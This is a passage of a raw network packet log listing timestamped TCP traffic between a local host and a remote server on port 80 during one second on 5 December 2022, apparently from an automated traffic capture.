Dec 5, 2022 06:44:36.533096075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533112049 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533128023 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533128977 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533148050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533154011 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533164978 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533171892 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533183098 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533200979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533200979 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533214092 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533217907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533231974 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533261061 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533302069 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533319950 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533338070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533348083 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533355951 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533374071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533375025 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533387899 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533391953 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533404112 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533411026 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533421040 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533432961 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533437014 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533452034 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533457041 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533468962 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533483982 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533485889 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533497095 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533504009 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533510923 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533524036 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533529043 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533540964 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533540964 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533560038 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533570051 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533577919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533582926 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533596039 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533598900 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533617973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533622980 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533634901 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533636093 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533653975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533658028 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533669949 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533672094 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533689022 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533690929 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533710003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533716917 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533730030 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533751011 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533783913 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533802032 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533818960 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533834934 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533843994 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533853054 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533869028 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533873081 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533890963 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533899069 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533910036 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533924103 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533926964 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533945084 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533952951 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533963919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533977985 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533982992 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534001112 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534006119 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534019947 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534030914 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534037113 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534054995 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534055948 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534070969 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534073114 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534085989 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534090996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534101963 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534109116 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534126997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534127951 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534142017 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534146070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534154892 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534163952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534181118 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534182072 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534195900 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534200907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534209013 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534219027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534223080 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534236908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534252882 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534252882 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534255028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534272909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534281015 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534291029 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534296036 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534310102 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534322023 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534327984 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534334898 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534346104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534352064 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534364939 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534369946 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534382105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534389019 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534400940 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534404039 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534434080 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534446955 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534461021 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534466028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534483910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534496069 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534502983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534512043 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534521103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534527063 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534538984 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534550905 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534557104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534565926 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534574986 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534579992 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534593105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534605026 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534611940 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534616947 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534631014 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534641981 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534648895 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534653902 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534667015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534672022 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534684896 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534684896 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534703970 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534704924 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534722090 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534729958 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534739971 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534743071 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534756899 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534759045 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534782887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534784079 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534802914 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534821033 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534827948 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534837961 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534854889 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534856081 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534881115 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534883022 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534909964 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534921885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534940004 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534949064 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534960032 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534962893 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534980059 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.534985065 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.534998894 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535001040 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535018921 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535026073 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535037994 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535041094 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535059929 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535067081 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535079002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535079956 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535098076 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535104036 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535115004 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535139084 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535149097 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535167933 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535187006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535192966 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535206079 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535208941 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535226107 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535234928 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535243988 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535247087 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535263062 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535271883 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535283089 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535286903 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535300016 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535303116 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535319090 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535324097 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535343885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535348892 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535362959 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535362959 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535382986 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535388947 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535402060 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535404921 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535419941 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535430908 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535439968 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535444021 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535459042 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535465956 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535479069 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535484076 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535499096 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535500050 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535517931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535523891 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535537958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535540104 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535556078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535561085 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535586119 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535593033 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535607100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535609961 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535624981 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535628080 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535644054 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535645008 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535660982 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535660982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535681009 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535691023 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535697937 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535703897 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535716057 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535723925 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535734892 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535737991 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535752058 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535753965 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535770893 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535773039 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535789967 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535798073 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535809040 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535810947 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535825014 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535830021 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535850048 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535850048 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535868883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535881996 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535887003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535895109 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535904884 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535909891 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535923958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.535928965 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535942078 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.535964966 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.536030054 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.536071062 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.536170959 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.536187887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.536204100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.536212921 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.536221027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.536230087 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.536241055 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.536247969 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.536266088 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.536281109 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.536320925 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.536339045 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.536355972 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.536366940 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.536372900 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.536389112 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.536391973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.536403894 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.536429882 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.536442041 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.536541939 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.536560059 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.536576986 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.536586046 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.536595106 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.536611080 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.536612034 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.536634922 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.536662102 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.536751032 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.536767960 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.536784887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.536802053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.536811113 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.536839962 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.537251949 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.537269115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.537296057 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.537322044 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.537461042 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.537478924 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.537512064 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.537532091 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.537580967 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.537597895 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.537637949 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.537734032 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.537751913 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.537792921 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.538680077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.538697958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.538714886 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.538732052 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.538733006 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.538748980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.538781881 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.538809061 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.538893938 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.538911104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.538928986 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.538954020 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539017916 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539053917 CET	80	49704	66.235.200.147	192.168.2.3
